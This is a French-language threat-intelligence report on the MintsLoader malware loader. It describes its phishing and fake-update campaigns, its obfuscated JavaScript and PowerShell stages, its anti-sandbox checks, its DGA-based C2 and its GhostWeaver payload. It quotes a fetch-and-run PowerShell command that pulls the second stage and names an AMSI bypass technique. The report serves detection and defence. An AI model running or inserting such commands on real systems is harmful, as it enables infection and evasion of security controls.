Tout savoir sur MintsLoader avec Recorded Future Malware Intelligence Hunting

Executive Summary

MintsLoader, un chargeur malveillant, a été observé pour la première fois lors de multiples campagnes de phishing et de téléchargements furtifs (drive-by) dès 2024. Le chargeur déploie couramment des charges utiles de deuxième étape, telles que GhostWeaver, StealC et un client BOINC (Berkeley Open Infrastructure for Network Computing) modifié. MintsLoader fonctionne via une chaîne d’infection en plusieurs étapes impliquant des scripts JavaScript et PowerShell dissimulés. Le malware utilise des techniques d’évasion de sandbox et de machines virtuelles, un algorithme de génération de domaine (DGA) et des communications Commande et Contrôle (C2) basées sur HTTP.

MintsLoader a été observé en train d’être utilisé par divers groupes de menace. Cependant, les opérateurs de TAG-124 (également connu sous le nom de LandUpdate808) l’ont employé de manière intensive. Le chargeur est déployé par plusieurs vecteurs d’infection : e-mails de phishing ciblant les secteurs industriel, juridique et énergétique (TAG-124), sites Web compromis se faisant passer pour des mises à jour de navigateur (SocGholish), leurres de type facture distribués via le système de messagerie certifié PEC en Italie, etc.

La technique d’obfuscation de MintsLoader complique les détections statiques telles que les règles YARA. Son utilisation d’une infrastructure C2 basée sur les algorithmes de génération de domaine (DGA) rend difficile la mise à jour des listes de surveillance ou des listes de blocage. De plus, ses techniques anti-analyse compliquent les détections basées sur l’hôte qui s’appuient sur les bacs à sable ou la virtualisation. Toutefois, le service Malware Intelligence Hunting de Recorded Future identifie de nouveaux échantillons de MintsLoader et les domaines C2 associés, et fournit une liste à jour pour les listes de blocage ou la recherche de menaces.

L’utilisation persistante par MintsLoader de l’obfuscation, de l’évasion de sandbox et de l’infrastructure adaptative garantit probablement sa présence continue au sein de l’écosystème des malwares, ce qui accroît probablement son utilisation par d’autres acteurs de la menace. Le rôle du malware en tant que mécanisme de diffusion polyvalent reflète la professionnalisation et la spécialisation croissantes au sein de la communauté des cybercriminels. Si cette sophistication accrue profite aux acteurs de la menace en leur permettant de mener des opérations plus résilientes et plus efficaces, elle offre en même temps aux défenseurs des possibilités d’identifier et de perturber les activités malveillantes de manière plus efficace et à grande échelle.

Key Findings

• Le script PowerShell de deuxième étape de MintsLoader utilise des techniques d’évasion de sandbox et d’environnement virtuel, réduisant sa sensibilité à l’analyse automatisée et augmentant sa probabilité de contourner les outils de détection dynamique.
• L’utilisation par MintsLoader d’un DGA pour générer des domaines C2 quotidiens en fonction de la date du système complique la surveillance de l’infrastructure et les détections basées sur les domaines/adresses IP.
• Malware Intelligence Hunting de Recorded Future fournit des domaines C2 à jour et d’autres artefacts liés à MintsLoader qui seraient difficiles à suivre autrement en raison de son infrastructure dynamique.
• Insikt Group montre que GhostWeaver est le principal malware déployé par MintsLoader dans les campagnes observées.
• Les certificats X.509 autosignés de GhostWeaver ressemblent à ceux d’AsyncRAT et de ses variantes, ce qui a conduit à l’origine à des erreurs d’associations avec d’autres familles de logiciels malveillants comme AsyncRAT.

Background

Orange Cyberdefense a détecté pour la première fois MintsLoader dans des campagnes de distribution à grande échelle entre juillet et octobre 2024. Insikt Group a identifié des campagnes antérieures en février 2024, d’après l’analyse d’une infection SocGholish par Unit42 de Palo Alto.

Le chargeur est constitué de scripts JavaScript (première étape) et PowerShell (deuxième étape) récupérés à partir de plusieurs domaines basés sur DGA. Le nom « MintsLoader » est dérivé de son utilisation distinctive du paramètre URL s=mints[NUMBER] (par exemple, s=mints11). MintsLoader est généralement observé dans les campagnes en train de diffuser des charges utiles secondaires telles que GhostWeaver, StealC et le client Berkeley Open Infrastructure for Network Computing (BOINC).

Figure 1 : Profil de MintsLoader (Source : Recorded Future)

Bien que MintsLoader soit supposé être utilisé par plusieurs acteurs de la menace, des infections par TAG-124 (également connu sous le nom de LandUpdate808) ont été fréquemment observées en train de déployer MintsLoader. De plus, les acteurs malveillants utilisant SocGholish ont été parmi les premiers à adopter MintsLoader, ce qui a conduit à considérer initialement les campagnes MintsLoader comme exclusivement associées à SocGholish. Pa exemple, en février 2024, Unit42 de Palo Alto a publié des indicateurs liés à SocGholish (Figure 2). Cependant, l’analyse d’Insikt Group indique que les URL identifiées comme diffusant AsyncRAT sont également conformes aux modèles d’URL connus de MintsLoader.

Figure 2 : Indicateurs de compromission de l'infection SocGholish de Palo Alto (Source : Recorded Future)

De même, en juillet 2024, Huntress Labs a signalé une infection SocGholish en train de diffuser un client BOINC. En particulier, l’URL utilisée pour télécharger le BOINC correspond aux modèles d’URL connus de MintsLoader. La figure 3 montre une vue d’ensemble des acteurs de la menace qui utilisent MintsLoader.

Figure 3 : Utilisation de MintsLoader par les acteurs de la menace (Source : Recorded Future)

Vous trouverez ci-dessous les campagnes récemment signalées impliquant MintsLoader.

Les pages MintsLoader et Kongtuke/ClickFix

Début 2025, des analystes de sécurité ont observé une campagne de phishing diffusant MintsLoader comme chargeur de première étape. Les e-mails de phishing (ciblant les secteurs de l’énergie, du pétrole et du gaz, ainsi que le secteur juridique aux États-Unis et en Europe) contenaient soit une pièce jointe JavaScript malveillante, soit un lien vers une fausse page Web « Cliquez pour vérifier ». La figure 4 montre des exemples de pages ClickFix.

Figure 4 : Exemples de pages ClickFix (source : https://www.hhs.gov/)

Dans les deux cas, le résultat fut l’exécution de la deuxième étape de MintsLoader à partir de PowerShell sur la machine de la victime. Ce chargeur a exécuté les charges utiles finales, notamment l’infostealer StealC et une version modifiée du client BOINC. La campagne a exploité de fausses pages de vérification CAPTCHA (leurres ClickFix/KongTuke) pour inciter les utilisateurs à exécuter une commande PowerShell copiée, qui téléchargeait et exécutait MintsLoader (Figure 5).

Figure 5 : Chaîne d’infection ClickFix de MintsLoader (source : Recorded Future)

D’autres chaînes d’infection de cette campagne ont diffusé MintsLoader via un fichier téléchargé Fattura########.js (« facture » en italien) que les victimes ont ouvert, ce qui a entraîné la même exécution du chargeur PowerShell. Les chercheurs de l’unité Threat Response d’eSentire ont signalé cette campagne et ont noté que les acteurs de la menace visaient des cibles dans les secteurs industriels et des services professionnels en Amérique du Nord et en Europe.

Campagnes « FakeUpdates » de SocGholish

De nombreux rapports indiquent (1, 2) que les acteurs de la menace SocGholish (FakeUpdates) ont intégré MintsLoader dans leurs opérations. À partir de juillet 2024, les infections par SocGholish provenant de sites Web compromis ont révélé des chaînes d’infection installant le client informatique distribué BOINC via MintsLoader.

Dans cette campagne drive-by, illustrée à la figure 6, les victimes naviguant sur des sites légitimes mais compromis ont rencontré de fausses invites de mise à jour du navigateur (souvent issues d’un script update.js). En cas d’exécution, le JavaScript malveillant récupérait une charge utile MintsLoader obfusquée, déclenchant une séquence PowerShell en plusieurs étapes.

Figure 6 : Exemple de fausses mises à jour de MintsLoader (source : TRAC Labs)

Huntress Labs a documenté deux résultats parallèles : une branche a abouti à l’exécution d’un AsyncRAT sans fichier s’exécutant en mémoire, l’autre à une installation furtive de BOINC sous le contrôle d’un pirate. Le déploiement de BOINC a été principalement modifié et configuré pour se connecter à un C2 malveillant plutôt qu’au serveur BOINC standard.

Dans certains cas, le backdoor (porte dérobée) GhostWeaver PowerShell, suivi par Mandiant sous le nom d’UNC4108, a également été diffusé via MintsLoader, offrant aux pirates un point d’ancrage permanent et une plateforme pour charger des plugins supplémentaires.

Phishing de factures en Europe

Une autre campagne MintsLoader fin 2024 a ciblé des entreprises européennes via des e-mails de phishing sur le thème des factures, dont un exemple est montré à la figure 7. Les messages de spam ont exploité le système PEC (e-mail certifié) de l’Italie pour ajouter de la légitimité et ont incité les destinataires à ouvrir des fichiers JavaScript joints se faisant passer pour des factures. L’équipe de recherche de Spamhaus a surnommé cette campagne « l’arnaque à la facture PEC » et a mis en évidence le procédé employé par les pirates pour tromper les canaux de messagerie de confiance afin de contourner les contrôles de sécurité. Cette campagne a été notée comme ayant « volé le temps, l’argent et la confiance des entreprises ».

Figure 7 : E-mail de phishing PEC (source : Spamhaus)

Analyse technique

MintsLoader utilise une chaîne d’exécution en plusieurs étapes impliquant JavaScript et PowerShell, chaque étape employant des techniques d’obfuscation pour entraver l’analyse. Bien que MintsLoader fonctionne uniquement comme un chargeur sans capacités supplémentaires, ses principaux atouts sont ses techniques d’évasion de sandbox et de machines virtuelles, ainsi que son implémentation d’un DGA qui définit le domaine C2 en fonction du jour de son exécution. Ces capacités compliquent considérablement l’analyse statique et la détection basée sur l’hôte. Toutefois, ses communications C2 s’effectuent via HTTP, lequel constitue un vecteur fiable pour détecter et identifier de nouveaux échantillons. La figure 8 présente les capacités de haut niveau de MintsLoader.

Figure 8 : Capacités de haut niveau de MintsLoader (Source : Recorded Future)

Cette analyse de MintsLoader comprend des détails sur les charges utiles de première et de deuxième étape ainsi que sur l’infrastructure de MintsLoader.

Chaîne d'attaque MintsLoader

MintsLoader est généralement diffusé par le biais d’e-mails de phishing contenant des liens vers des pages KongTuke ou ClickFix. Lorsqu’elles sont exécutées, ces pages récupèrent et exécutent la première étape de JavaScript. Le fichier JavaScript est fortement obfusqué, et son exécution conduit à l’exécution d’une commande PowerShell pour télécharger et exécuter la deuxième étape de MintsLoader, comme illustré à la figure 9.

Figure 9 : Première étape de l’infection par MintsLoader (source : Recorded Future Malware Intelligence)

Cette deuxième étape effectue des vérifications de l’environnement pour déterminer si elle s’exécute dans un environnement de sandbox ou virtualisé. Ensuite, le script utilise un DGA pour générer le prochain domaine C2. MintsLoader tente enfin de contacter le domaine généré pour télécharger la charge utile finale, comme GhostWeaver, StealC ou le client BOINC. La figure 10 présente une vue d’ensemble de cette chaîne d’attaque.

Figure 10 : Chaîne d’infection courante de MintsLoader (source : Recorded Future)

Première étape : JavaScript

La première étape de MintsLoader consiste en un fichier JavaScript qui exécute une commande PowerShell pour récupérer la deuxième étape. Le script est fortement obfusqué à l’aide de commentaires inutiles, de variables et de noms de fonctions illisibles, de remplacements de caractères et d’encodage de chaînes (Figure 11). Insikt Group a trouvé 141 échantillons de première étape de MintsLoader à partir de données issues de Recorded Future Malware Intelligence Hunting (Annexe A).

Figure 11 : JavaScript MintsLoader de première étape obfusqué (source : Recorded Future)

La fonction principale de la charge utile JavaScript de la première étape est d’exécuter une commande PowerShell qui exécute la commande curl -useb http://[domain]/1.php?s=[campaign], laquelle télécharge et exécute la deuxième étape. Lorsque curl est employé dans PowerShell avec l’option -useb, il s’agit d’un alias de Invoke-WebRequest, et le programme cURL n’est pas réellement utilisé pour effectuer la requête HTTP.

Insikt Group a identifié trois versions distinctes du chargeur de première étape, qui utilisent toutes les mêmes techniques d’obfuscation JavaScript mais diffèrent dans l’implémentation du PowerShell déployé.

La première variante exécute la commande PowerShell en texte clair, avec le domaine C2 intégré en dur, comme illustré dans la figure 12. Cette variante est observée dans les campagnes « mints13 » et « flibabc11 ».

Figure 12 : Commande PowerShell de première étape en texte clair (source : Recorded Future Malware Intelligence)

Dans la deuxième variante, la commande PowerShell est obfusquée par un remplacement de caractères. Le domaine C2 est toujours codé en dur, un alias pour la commande curl étant utilisé à la place, mais l’objectif reste de télécharger l’étape suivante (Figure 13). Il s’agit de la variante la plus utilisée dans les campagnes « flibabc21 », « flibabc22 », « mints11 », « mints13 », « mints21 » et « mints42 ».

Figure 13 : Commande PowerShell de première étape en texte clair obfusquée (source : Recorded Future Malware Intelligence)

La troisième variante encode la commande en base64 (Figure  14). Insikt Group a observé que cette méthode était employée avec l’ancienne campagne « mints13 ».

Figure 14  Texte en base64 de la commande PowerShell de première étape (source : Recorded Future Malware Intelligence)

Cependant, dans cette version, la commande PowerShell crée un fichier contenant la commande PowerShell pour télécharger la deuxième étape via cURL. Elle exécute ensuite le fichier et le supprime.

Tableau 1  Texte en base64 décodé de la première étape de PowerShell (source : Recorded Future)

Communication C2 de première étape

L’exécution de n’importe quelle variante entraîne une requête HTTP GET vers le domaine codé en dur pour récupérer la charge utile de la deuxième étape. Une requête réussie récupère et exécute le script PowerShell présenté dans la Figure 15.

Figure 15 : Récupération réussie de la deuxième étape depuis C2 (source : Recorded Future)

Si le domaine DGA n’est plus valide, une réponse 302 est renvoyée, comme le montre la figure 16.

Figure 16 : Échec de la récupération de la deuxième étape depuis C2 (Source : Recorded Future)

PowerShell — étape deux

La deuxième étape, PowerShell, contient une chaîne encodée en base64. Après le décodage XOR et la décompression, la charge utile principale, qui est également obfusquée, est générée. La figure 17 montre un extrait de cette charge utile, illustrant les techniques de construction de chaînes obfusquées de MintsLoader.

Figure 17 : Obfuscation de PowerShell au stade deux (Source : Recorded Future)

Après la désobfuscation et le décodage initiaux, la deuxième étape de PowerShell commence en tentant de contourner l’interface d’analyse antimalware (AMSI) à l’aide d’une technique connue pour simuler un échec de l’initialisation de l’AMSI en définissant la variable amsiInitFailed de l’objet System.Management.Automation.AmsiUtils sur TRUE.

Le reste du code est chargé d’exécuter trois requêtes d’informations système : les valeurs de retour sont utilisées dans des expressions logiques pour détecter si le système fonctionne sur une solution bare metal, dans un sandbox ou sur une machine virtuelle. Ceci est transmis au C2 via une variable entière envoyée en tant que paramètre d’URL key, puis le C2 examine sa valeur pour déterminer si sa réponse renverra une troisième étape qui téléchargera la charge utile finale ou un leurre. Notons que les valeurs entières constantes utilisées pour incrémenter la variable clé varient avec chaque échantillon de la deuxième étape.

Le résultat de chaque requête d’information système est vérifié par rapport à trois expressions logiques, dont l’ordre varie selon l’échantillon, ainsi qu’à des constantes qui incrémentent la clé, et dont les résultats influencent la valeur de la variable clé. Il se peut que les expressions logiques ne fournissent pas de résultats évidents lors d’une première inspection. Par exemple, si le premier contrôle système désobfusqué, illustré ci-dessous dans la figure 18, est destiné à s’exécuter sur une machine virtuelle, la variable $isVirtualMachine sera égale à $true. L’expression logique $true -eq 3 est équivalente à $true dans PowerShell, augmentant la clé de 15310805757 au lieu de 83670 406277.

Figure 18 : Vérification de la machine virtuelle PowerShell de la deuxième étape (Source : Recorded Future)

La deuxième vérification du système interroge le membre AdapterDACType de l’objet Win32_VideoController WMI pour obtenir le nom ou l’identifiant de la puce du convertisseur numérique à analogique (DAC), comme le montre la figure 19. Cela détermine si le système infecté fonctionne sur un émulateur ou virtuellement. En règle générale, un système Windows renverra les valeurs « Internal » et/ou « Integrated RAMDAC », ce qui incrémentera la clé de 14467965888 dans cet exemple.

Figure 19 : Vérification du contrôleur vidéo PowerShell de la deuxième étape (Source : Recorded Future)

Le troisième contrôle du système interroge le membre désigné de l’objet WMI Win32_CacheMemory, qui sera égal à L1 Cache sur un système Windows classique. L’expression logique non évidente $l1CachePurpose.length —gt 4 s’exécutera dans le cas optimal, incrémentant la valeur de la clé de 27424330481 dans l’exemple désobfusqué observé dans la figure 20.

Figure 20 : Vérification de la mémoire PowerShell de la deuxième étape (Source : Recorded Future)

Les vérifications du système et le calcul de la clé sont suivis par la génération d’une valeur de base aléatoire définie par la date et une constante, qui est utilisée avec un objet system.Random pour créer le domaine à l’aide d’un simple DGA et du chemin d’accès à l’URL, comme le montre la figure 21. L’auteur a peut-être commis une erreur en n’utilisant pas la deuxième variable aléatoire pour construire le chemin de l’URL. Une variable non définie est utilisée à la place pour la fin du chemin de l’URL, celui-ci se terminant alors par une constante htr.php. Notez que dans PowerShell, curl est un alias pour Invoke-WebRequest, qui est utilisé pour générer la requête vers le C2 de troisième étape, de sorte que l’en-tête HTTP User-Agent contiendra des informations sur la version de PowerShell, et non curl.

Figure 21 : Récupération à la deuxième étape de la charge utile finale de PowerShell (source : Recorded Future)

Communication C2 de deuxième étape

La figure 22 montre un exemple de requête MintsLoader pour la charge utile finale, avec un chemin d’URL se terminant par htr.php. Le paramètre URL id est le nom d’hôte, et le paramètre URL s est l’identifiant de la campagne.

Figure 22 : Requête GET C2 récente de la phase deux (Source : Recorded Future)

Un exemple d’une requête MintsLoader antérieure pour la troisième étape est illustré à la figure 23, où le chemin de l’URL n’est pas aléatoire mais remplacé par la chaîne constante « 2.php ».

Figure 23 Requête antérieure GET C2 de deuxième étape (source : Recorded Future)

Si la requête de deuxième étape ne répond pas à des exigences spécifiques, la charge utile finale peut aboutir à un exécutable leurre (Figure 24), comme dans cet exemple qui mène à un exécutable leurre AsyncRAT téléchargé depuis le site temp[.]sh. Cette association avec AsyncRAT a conduit à une désignation initiale dans les rapports et à certaines contre-mesures pour le trafic réseau sous le nom de « AsyncRAT Loader », produisant un étiquetage incorrect des échantillons de malwares MintsLoader en tant qu’AsyncRAT, même si les campagnes actuelles de MintsLoader ne déploient pas AsyncRAT.

Figure 24 : Troisième étape de la réponse au leurre (source : Recorded Future)

Une récente tentative réussie est illustrée dans la figure 25 ; dans cet exemple, la charge utile finale est GhostWeaver.

Figure 25 : Charge utile de MintsLoader GhostWeaver (Source : Recorded Future)

GhostWeaver

L’une des charges utiles déployées par MintsLoader les plus souvent observées est GhostWeaver, un cheval de Troie d’accès à distance (RAT) basé sur PowerShell qui présente des similitudes de code et des chevauchements fonctionnels avec MintsLoader. Essentiellement, GhostWeaver peut déployer MintsLoader en tant que charge utile supplémentaire via sa commande sendPlugin. La communication entre GhostWeaver et son serveur de commande et de contrôle (C2) est sécurisée par un chiffrement TLS utilisant un certificat X.509 obfusqué et autosigné intégré directement dans le script PowerShell, utilisé pour l’authentification côté client auprès de l’infrastructure C2.

GhostWeaver a été régulièrement classé par erreur comme AsyncRAT. Insikt Group estime possible que cette erreur de classification provienne du fait que Palo Alto Networks a initialement identifié un échantillon GhostWeaver (SHA256: fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765) comme une variante AsyncRAT sans fichier. GhostWeaver et AsyncRAT partagent certaines caractéristiques dans leurs certificats X.509 autosignés, telles que des dates d’expiration et des longueurs de numéros de série identiques. Cependant, ces similitudes peuvent simplement refléter des méthodes communes de génération de certificats plutôt qu’un chevauchement opérationnel significatif.

Infrastructure MintsLoader

Insikt Group a initialement trouvé des serveurs MintsLoader C2 hébergés uniquement sur BLNWX, mais a ensuite observé une utilisation croissante d’autres FAI tels que Stark Industries Solutions Ltd (AS44477), GWY IT Pty Ltd (AS199959) ou SCALAXY-AS (58061), entre autres. Les adresses IP MintsLoader C2 annoncées via SCALAXY-AS sont exploitées par les fournisseurs d’hébergement 3NT Solutions LLP et IROKO Networks Corporation, qui font tous deux partie du fournisseur d’hébergement russophone à toute épreuve Inferno Solutions (inferno[.]name). Le passage à SCALAXY-AS et Stark Industries Solutions suggère que les opérateurs de MintsLoader sont passés de fournisseurs de serveurs privés virtuels (VPS) anonymes à des hébergeurs éprouvés plus conventionnels, probablement dans le but de renforcer leur infrastructure contre les tentatives de suppression et d’améliorer la stabilité opérationnelle.

Au cours des derniers mois, Insikt Group a identifié une série d’identifiants de campagnes supplémentaires et de charges utiles suspects (Tableau 2). Ces données sont compilées à partir de recherches ouvertes et d’études internes d’Insikt Group.

Tableau 2 : Identifiants des campagnes suspectes de MintsLoader (Source : Recorded Future)

Deux identifiants de campagne potentiels supplémentaires, js2 et dav, ont été observés en 2023, js2 ayant été identifié dans une infection AsyncRAT.

To read the entire analysis, click here to download the report as a PDF.